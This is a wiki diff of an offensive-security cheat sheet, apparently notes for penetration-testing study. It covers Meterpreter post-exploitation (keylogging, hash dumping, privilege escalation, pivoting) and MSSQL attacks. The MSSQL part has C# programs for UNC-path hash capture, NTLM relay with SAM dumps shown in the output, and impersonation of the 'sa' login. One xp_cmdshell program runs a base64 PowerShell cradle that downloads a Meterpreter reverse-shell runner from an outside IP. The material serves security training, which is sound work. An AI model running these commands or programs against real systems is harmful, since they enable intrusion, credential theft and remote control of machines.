[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download] | [https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download] | ||
=== Meterpreter Commands === | === Meterpreter Commands === | ||
* Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)] | * Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,779: | Line 3,512: | ||
channel -i 1 --> Change to shell in channel 1 | channel -i 1 --> Change to shell in channel 1 | ||
background --> Background session to interact with msfconsole | background --> Background session to interact with msfconsole | ||
upload {local path} {victim path} --> Upload a file | upload {local path} {victim path} --> Upload a file | ||
download {path} --> Download file | download {path} --> Download file | ||
reg {Command} --> Interacts with registry (reg by itself will list syntax) | reg {Command} --> Interacts with registry (reg by itself will list syntax) | ||
execute -f cmd.exe -i --> Execute cmd.exe and interact | execute -f cmd.exe -i --> Execute cmd.exe and interact | ||
execute -f cmd.exe -i -H -t --> Execute cmd as hidden process and with all tokens | execute -f cmd.exe -i -H -t --> Execute cmd as hidden process and with all tokens | ||
# Powershell | # Powershell | ||
load powershell | load powershell | ||
| Line 4,793: | Line 3,523: | ||
powershell_shell --> Launch an interactive PowerShell shell | powershell_shell --> Launch an interactive PowerShell shell | ||
powershell_session_remove --> Used to remove a PowerShell session when created using execute/import/shell with the -s argument | powershell_session_remove --> Used to remove a PowerShell session when created using execute/import/shell with the -s argument | ||
# Host Reconnaissance | # Host Reconnaissance | ||
# List running processes on a system | # List running processes on a system | ||
| Line 4,804: | Line 3,533: | ||
execute -H -f notepad | execute -H -f notepad | ||
migrate {PID} | migrate {PID} | ||
# Screenshots | # Screenshots | ||
screengrab --> Run plugin to capture screenshot of user session | screengrab --> Run plugin to capture screenshot of user session | ||
# Keylogger | # Keylogger | ||
keyscan_start --> Start keylogger | keyscan_start --> Start keylogger | ||
keyscan_stop --> Stop keylogger | keyscan_stop --> Stop keylogger | ||
keyscan_dump --> Dump keylogger | keyscan_dump --> Dump keylogger | ||
# Privilege Escalation | # Privilege Escalation | ||
getsystem --> Attempts to elevate privileges. | getsystem --> Attempts to elevate privileges. | ||
| Line 4,819: | Line 3,545: | ||
windows/local/bypassuac_fodhelper --> Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled. | windows/local/bypassuac_fodhelper --> Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled. | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Post-Explotation with Meterpreter === | === Post-Explotation with Meterpreter === | ||
* <code>help</code>: List available commands. | * <code>help</code>: List available commands. | ||
* '''Migrate''': Migrate to another process with <code>migrate [PID]</code>. | * '''Migrate''': Migrate to another process with <code>migrate [PID]</code>. | ||
Used for: keystroke capturing (<code>keyscan_start</code>, <code>keyscan_stop</code>, <code>keyscan_dump</code>) and ensuring session stability. | Used for: keystroke capturing (<code>keyscan_start</code>, <code>keyscan_stop</code>, <code>keyscan_dump</code>) and ensuring session stability. | ||
* Caution: Migrating may lead to privilege loss. | * Caution: Migrating may lead to privilege loss. | ||
* '''Hashdump''': Dump the SAM database containing NTLM-formatted passwords with <code>hashdump</code>. | * '''Hashdump''': Dump the SAM database containing NTLM-formatted passwords with <code>hashdump</code>. | ||
* '''Search''': Find files, e.g., <code>search -f flag2.txt</code>. | * '''Search''': Find files, e.g., <code>search -f flag2.txt</code>. | ||
* '''Shell''': Launch command shell on the target with <code>shell</code>. | * '''Shell''': Launch command shell on the target with <code>shell</code>. | ||
* <code>search smb/psexec</code> to search for a module. | * <code>search smb/psexec</code> to search for a module. | ||
* <code>use [id]</code> to use the module. | * <code>use [id]</code> to use the module. | ||
* Set required fields using <code>set</code> (e.g., <code>set RHOSTS [target-machine-ip]</code>). | * Set required fields using <code>set</code> (e.g., <code>set RHOSTS [target-machine-ip]</code>). | ||
* Confirm settings with <code>show options</code>. | * Confirm settings with <code>show options</code>. | ||
* <code>run</code> to start the exploit. | * <code>run</code> to start the exploit. | ||
=== Meterpreter Extensions === | === Meterpreter Extensions === | ||
[https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)] | [https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)] | ||
* <code>load kiwi</code> - Load Mimikatz in current process | * <code>load kiwi</code> - Load Mimikatz in current process | ||
* <code>load incognito</code> - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator. | * <code>load incognito</code> - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator. | ||
* <code>load powershell</code> | * <code>load powershell</code> | ||
<code>powershell_import PowerUp.ps1</code> <-- from our local working dir. | <code>powershell_import PowerUp.ps1</code> <-- from our local working dir. | ||
<code>powershell_execute "Invoke-AllChecks"</code> | <code>powershell_execute "Invoke-AllChecks"</code> | ||
=== Meterpreter pivoting and Proxychains === | === Meterpreter pivoting and Proxychains === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Use autoroute module to create a pivot for the other network | # Use autoroute module to create a pivot for the other network | ||
use post/multi/manage/autoroute | use post/multi/manage/autoroute | ||
set SUBNET 192.72.180.0 | set SUBNET 192.72.180.0 | ||
set SESSION 2 | set SESSION 2 | ||
exploit | exploit | ||
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050. | # Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050. | ||
use auxiliary/server/socks_proxy # Or try socks5 | use auxiliary/server/socks_proxy # Or try socks5 | ||
show options | show options | ||
set SRVPORT 9050 | set SRVPORT 9050 | ||
exploit | exploit | ||
# Now you can use proxychains | # Now you can use proxychains | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Meterpreter Portforward === | === Meterpreter Portforward === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# https://www.offsec.com/metasploit-unleashed/portfwd/ | # https://www.offsec.com/metasploit-unleashed/portfwd/ | ||
# Add | # Add | ||
# From the Meterpreter shell, the command is used in the following manner: | # From the Meterpreter shell, the command is used in the following manner: | ||
meterpreter > portfwd add –l 3389 –p 3389 –r [target host] | meterpreter > portfwd add –l 3389 –p 3389 –r [target host] | ||
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session. | # add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session. | ||
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used. | -l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used. | ||
| Line 4,919: | Line 3,614: | ||
meterpreter > | meterpreter > | ||
Figure 2 Adding a port | Figure 2 Adding a port | ||
# Delete | # Delete | ||
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following: | ## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following: | ||
meterpreter > portfwd delete –l 3389 –p 3389 –r [target host] | meterpreter > portfwd delete –l 3389 –p 3389 –r [target host] | ||
meterpreter > portfwd delete –l 3389 –p 3389 –r 172.16.194.191 | meterpreter > portfwd delete –l 3389 –p 3389 –r 172.16.194.191 | ||
[*] Successfully stopped TCP relay on 0.0.0.0:3389 | [*] Successfully stopped TCP relay on 0.0.0.0:3389 | ||
meterpreter > | meterpreter > | ||
# FLUSH: This argument will allow us to remove all the local port forward at once. | # FLUSH: This argument will allow us to remove all the local port forward at once. | ||
meterpreter > portfwd flush | meterpreter > portfwd flush | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== MSI Backdoor == | == MSI Backdoor == | ||
If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer. | If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper | # https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper | ||
Download exemsi --> https://www.exemsi.com/download/ | Download exemsi --> https://www.exemsi.com/download/ | ||
# Follow the guide fom hacktrics. | # Follow the guide fom hacktrics. | ||
------------------ | ------------------ | ||
# If you have a meterpreter session | # If you have a meterpreter session | ||
exploit/windows/local/always_install_elevated | exploit/windows/local/always_install_elevated | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== MSSQL == | == MSSQL == | ||
=== Good source === | === Good source === | ||
[https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)] | [https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)] | ||
=== MSSQL Attacks === | === MSSQL Attacks === | ||
==== Enumeration ==== | ==== Enumeration ==== | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Extract all accounts in use as SPN using built in MS tools | # Extract all accounts in use as SPN using built in MS tools | ||
setspn -T corp1 -Q MSSQLSvc/* | setspn -T corp1 -Q MSSQLSvc/* | ||
# Use GetUserSPNs.ps1 | # Use GetUserSPNs.ps1 | ||
https://github.com/nidem/kerberoast | https://github.com/nidem/kerberoast | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Authentication using C# ==== | ==== Authentication using C# ==== | ||
* This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the 'public' server role and displays the result. | * This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the 'public' server role and displays the result. | ||
* The term <code>Integrated Security = True;</code> in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication. | * The term <code>Integrated Security = True;</code> in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication. | ||
* It's considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM. | * It's considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Data.SqlClient; | using System.Data.SqlClient; | ||
namespace SQL | namespace SQL | ||
{ | { | ||
| Line 5,006: | Line 3,676: | ||
String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; | String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; | ||
SqlConnection con = new SqlConnection(conString); | SqlConnection con = new SqlConnection(conString); | ||
try | try | ||
{ | { | ||
| Line 5,017: | Line 3,686: | ||
Environment.Exit(0); | Environment.Exit(0); | ||
} | } | ||
String querylogin = "SELECT SYSTEM_USER;"; | String querylogin = "SELECT SYSTEM_USER;"; | ||
SqlCommand command = new SqlCommand(querylogin, con); | SqlCommand command = new SqlCommand(querylogin, con); | ||
| Line 5,024: | Line 3,692: | ||
Console.WriteLine("Logged in as: " + reader[0]); | Console.WriteLine("Logged in as: " + reader[0]); | ||
reader.Close(); | reader.Close(); | ||
// Check public role | // Check public role | ||
String querypublicrole = "SELECT IS_SRVROLEMEMBER('public');"; | String querypublicrole = "SELECT IS_SRVROLEMEMBER('public');"; | ||
| Line 5,040: | Line 3,707: | ||
} | } | ||
reader.Close(); | reader.Close(); | ||
// Check sysadmin role | // Check sysadmin role | ||
String querySysAdminRole = "SELECT IS_SRVROLEMEMBER('sysadmin');"; | String querySysAdminRole = "SELECT IS_SRVROLEMEMBER('sysadmin');"; | ||
| Line 5,056: | Line 3,722: | ||
} | } | ||
reader.Close(); | reader.Close(); | ||
con.Close(); | con.Close(); | ||
} | } | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== UNC Path Injection ==== | ==== UNC Path Injection ==== | ||
* '''Attack Premise''': Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share. | * '''Attack Premise''': Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 5,076: | Line 3,737: | ||
# • Special Feature: Can accept an SMB share as a target. | # • Special Feature: Can accept an SMB share as a target. | ||
EXEC master..xp_dirtree "\\192.168.119.120\\test"; | EXEC master..xp_dirtree "\\192.168.119.120\\test"; | ||
# Responder Tool | # Responder Tool | ||
# • Function: Sets up an SMB share initiating NTLM authentication. | # • Function: Sets up an SMB share initiating NTLM authentication. | ||
sudo responder -I tun0 | sudo responder -I tun0 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start <code>responder</code>. | * The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start <code>responder</code>. | ||
* Once the NET-NTLM hash is captured, you can use <code>hashcat</code> (<code>hashcat -m 5600 hash.txt dict.txt --force</code>) or <code>john</code> to crack it. | * Once the NET-NTLM hash is captured, you can use <code>hashcat</code> (<code>hashcat -m 5600 hash.txt dict.txt --force</code>) or <code>john</code> to crack it. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
using System; | using System; | ||
using System.Data.SqlClient; | using System.Data.SqlClient; | ||
namespace SQL | namespace SQL | ||
{ | { | ||
| Line 5,103: | Line 3,759: | ||
String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; | String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; | ||
SqlConnection con = new SqlConnection(conString); | SqlConnection con = new SqlConnection(conString); | ||
try | try | ||
{ | { | ||
| Line 5,114: | Line 3,769: | ||
Environment.Exit(0); | Environment.Exit(0); | ||
} | } | ||
String query = "EXEC master..xp_dirtree \"\\\\192.168.119.120\\\\test\";"; | String query = "EXEC master..xp_dirtree \"\\\\192.168.119.120\\\\test\";"; | ||
SqlCommand command = new SqlCommand(query, con); | SqlCommand command = new SqlCommand(query, con); | ||
| Line 5,124: | Line 3,778: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]] | [[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]] | ||
==== Relay the hash ==== | ==== Relay the hash ==== | ||
* '''Objective''' | * '''Objective''' | ||
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash. | Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash. | ||
* '''Background''' | * '''Background''' | ||
'''Net-NTLM hash''': While it can't be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution. | '''Net-NTLM hash''': While it can't be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution. | ||
* '''Microsoft's Security Measure''': Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol. | * '''Microsoft's Security Measure''': Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol. | ||
* '''SMB Signing''': Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it's enabled only on domain controllers. | * '''SMB Signing''': Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it's enabled only on domain controllers. | ||
* '''Procedure''' | * '''Procedure''' | ||
'''Enumeration''': Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both. | '''Enumeration''': Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 5,162: | Line 3,805: | ||
$EncodedText | $EncodedText | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 5,169: | Line 3,811: | ||
# The -t option specifies the target to which the relayed authentication will be sent. | # The -t option specifies the target to which the relayed authentication will be sent. | ||
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c 'powershell -enc ' | sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c 'powershell -enc ' | ||
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6 | [*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6 | ||
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED | [*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED | ||
| Line 5,177: | Line 3,818: | ||
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left! | [*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left! | ||
[*] Service RemoteRegistry is in stopped state | [*] Service RemoteRegistry is in stopped state | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-10-image-7.png|thumb]] | [[File:2023-10-image-7.png|thumb]] | ||
===== Dump hashes using NTLMrelayx.py ===== | ===== Dump hashes using NTLMrelayx.py ===== | ||
* You can also get the hashes if the user authenticating have the rights | * You can also get the hashes if the user authenticating have the rights | ||
* Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example. | * Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 5,199: | Line 3,834: | ||
[proxychains] DLL init: proxychains-ng 4.16 | [proxychains] DLL init: proxychains-ng 4.16 | ||
Impacket v0.11.0 - Copyright 2023 Fortra | Impacket v0.11.0 - Copyright 2023 Fortra | ||
[*] Protocol Client LDAPS loaded.. | [*] Protocol Client LDAPS loaded.. | ||
[*] Protocol Client LDAP loaded.. | [*] Protocol Client LDAP loaded.. | ||
| Line 5,227: | Line 3,861: | ||
[*] Done dumping SAM hashes for host: 192.168.1.25 | [*] Done dumping SAM hashes for host: 192.168.1.25 | ||
[*] Stopping service RemoteRegistry | [*] Stopping service RemoteRegistry | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== MSSQL Escalation === | === MSSQL Escalation === | ||
==== Escalation ==== | ==== Escalation ==== | ||
'''Objective''' | '''Objective''' | ||
* '''Achieve higher privileges within the SQL database by leveraging impersonation.''' | * '''Achieve higher privileges within the SQL database by leveraging impersonation.''' | ||
'''Background''' | '''Background''' | ||
* '''Sysadmin Role''': Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn't always possible. | * '''Sysadmin Role''': Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn't always possible. | ||
* '''Impersonation''': This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default. | * '''Impersonation''': This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default. | ||
'''Impersonation at the User Level:''' | '''Impersonation at the User Level:''' | ||
'''Prerequisites:''' | '''Prerequisites:''' | ||
* Our user must have been granted impersonation for another user with additional role memberships. | * Our user must have been granted impersonation for another user with additional role memberships. | ||
* The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled. | * The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled. | ||
The ''database owner ''(dbo) usually have this syadmin role. | The ''database owner ''(dbo) usually have this syadmin role. | ||
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA. | The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Data.SqlClient; | using System.Data.SqlClient; | ||
namespace SqlImpersonationDemo | namespace SqlImpersonationDemo | ||
{ | { | ||
| Line 5,283: | Line 3,901: | ||
String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; | String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; | ||
SqlConnection con = new SqlConnection(conString); | SqlConnection con = new SqlConnection(conString); | ||
try | try | ||
| Line 5,290: | Line 3,907: | ||
con.Open(); | con.Open(); | ||
Console.WriteLine("Auth success!"); | Console.WriteLine("Auth success!"); | ||
// This will give us all the logins that allow impersonation. | // This will give us all the logins that allow impersonation. | ||
string query = "SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';"; | string query = "SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';"; | ||
SqlCommand command = new SqlCommand(query, con); | SqlCommand command = new SqlCommand(query, con); | ||
SqlDataReader reader = command.ExecuteReader(); | SqlDataReader reader = command.ExecuteReader(); | ||
while (reader.Read() == true) | while (reader.Read() == true) | ||
{ | { | ||
Console.WriteLine("Logins that can be impersonated: " + reader[0]); | Console.WriteLine("Logins that can be impersonated: " + reader[0]); | ||
} | } | ||
reader.Close(); | reader.Close(); | ||
Console.WriteLine("Before impersonation"); | Console.WriteLine("Before impersonation"); | ||
query = "SELECT SYSTEM_USER;"; | query = "SELECT SYSTEM_USER;"; | ||
| Line 5,312: | Line 3,925: | ||
} | } | ||
reader.Close(); | reader.Close(); | ||
string executeAs = "EXECUTE AS LOGIN = 'sa';"; | string executeAs = "EXECUTE AS LOGIN = 'sa';"; | ||
command = new SqlCommand(executeAs, con); | command = new SqlCommand(executeAs, con); | ||
reader = command.ExecuteReader(); | reader = command.ExecuteReader(); | ||
reader.Close(); | reader.Close(); | ||
Console.WriteLine("After impersonation"); | Console.WriteLine("After impersonation"); | ||
query = "SELECT SYSTEM_USER;"; | query = "SELECT SYSTEM_USER;"; | ||
| Line 5,327: | Line 3,938: | ||
} | } | ||
reader.Close(); | reader.Close(); | ||
executeAs = "USE msdb; EXECUTE AS USER = 'dbo';"; | executeAs = "USE msdb; EXECUTE AS USER = 'dbo';"; | ||
command = new SqlCommand(executeAs, con); | command = new SqlCommand(executeAs, con); | ||
reader = command.ExecuteReader(); | reader = command.ExecuteReader(); | ||
reader.Close(); | reader.Close(); | ||
query = "SELECT USER_NAME();"; | query = "SELECT USER_NAME();"; | ||
command = new SqlCommand(query, con); | command = new SqlCommand(query, con); | ||
| Line 5,340: | Line 3,949: | ||
Console.WriteLine("Executing in the context of: " + reader[0]); | Console.WriteLine("Executing in the context of: " + reader[0]); | ||
} | } | ||
reader.Close(); | reader.Close(); | ||
} | } | ||
| Line 5,352: | Line 3,960: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Code Execution ==== | ==== Code Execution ==== | ||
'''Objective''' | '''Objective''' | ||
* Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database. | * Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database. | ||
'''Background''' | '''Background''' | ||
* '''xp_cmdshel'''l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse. | * '''xp_cmdshel'''l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse. | ||
'''Activation: '''Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM] | '''Activation: '''Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM] | ||
* '''sp_OACreate and sp_OAMethod:''' These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands. | * '''sp_OACreate and sp_OAMethod:''' These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands. | ||
'''Activation''': Ensure the "OLE Automation Procedures" setting is enabled. | '''Activation''': Ensure the "OLE Automation Procedures" setting is enabled. | ||
* <code>EXEC sp_configure 'Ole Automation Procedures', 1;</code> | * <code>EXEC sp_configure 'Ole Automation Procedures', 1;</code> | ||
* <code>RECONFIGURE;</code> | * <code>RECONFIGURE;</code> | ||
'''xp_cmdshell ''' | '''xp_cmdshell ''' | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 5,389: | Line 3,985: | ||
using System.Data.SqlClient; | using System.Data.SqlClient; | ||
using static System.Net.Mime.MediaTypeNames; | using static System.Net.Mime.MediaTypeNames; | ||
namespace SqlImpersonationDemo | namespace SqlImpersonationDemo | ||
{ | { | ||
| Line 5,399: | Line 3,994: | ||
String database = "master"; | String database = "master"; | ||
String conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;"; | String conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;"; | ||
try | try | ||
{ | { | ||
| Line 5,406: | Line 4,000: | ||
con.Open(); | con.Open(); | ||
Console.WriteLine("Auth success!"); | Console.WriteLine("Auth success!"); | ||
// Impersonate SA user | // Impersonate SA user | ||
String impersonateUser = "EXECUTE AS LOGIN = 'sa';"; | String impersonateUser = "EXECUTE AS LOGIN = 'sa';"; | ||
| Line 5,412: | Line 4,005: | ||
SqlDataReader reader = command.ExecuteReader(); | SqlDataReader reader = command.ExecuteReader(); | ||
reader.Close(); | reader.Close(); | ||
// Enable and execute xp_cmdshell | // Enable and execute xp_cmdshell | ||
String enable_xpcmd = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"; | String enable_xpcmd = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"; | ||
//$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.221/run.txt') | IEX" | //$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.221/run.txt') | IEX" | ||
// In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1 | // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1 | ||
| Line 5,421: | Line 4,012: | ||
//$EncodedText = [Convert]::ToBase64String($bytes) | //$EncodedText = [Convert]::ToBase64String($bytes) | ||
String execCmdShell = "EXEC xp_cmdshell 'powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA';"; | String execCmdShell = "EXEC xp_cmdshell 'powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA';"; | ||
command = new SqlCommand(enable_xpcmd, con); | command = new SqlCommand(enable_xpcmd, con); | ||
reader = command.ExecuteReader(); | reader = command.ExecuteReader(); | ||
reader.Close(); | reader.Close(); | ||
command = new SqlCommand(execCmdShell, con); | command = new SqlCommand(execCmdShell, con); | ||
reader = command.ExecuteReader(); | reader = command.ExecuteReader(); | ||
| Line 5,433: | Line 4,022: | ||
} | } | ||
reader.Close(); | reader.Close(); | ||
con.Close(); | con.Close(); | ||
} | } | ||
| Line 5,445: | Line 4,033: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''sp_OACreate and sp_OAMethod''' | '''sp_OACreate and sp_OAMethod''' | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
Same as above, just change these lines | Same as above, just change these lines | ||
String enable_ole = "EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;"; | String enable_ole = "EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;"; | ||
//$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.221/run.txt') | IEX" | //$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.221/run.txt') | IEX" | ||
// In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1 | // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1 | ||
| Line 5,461: | Line 4,045: | ||
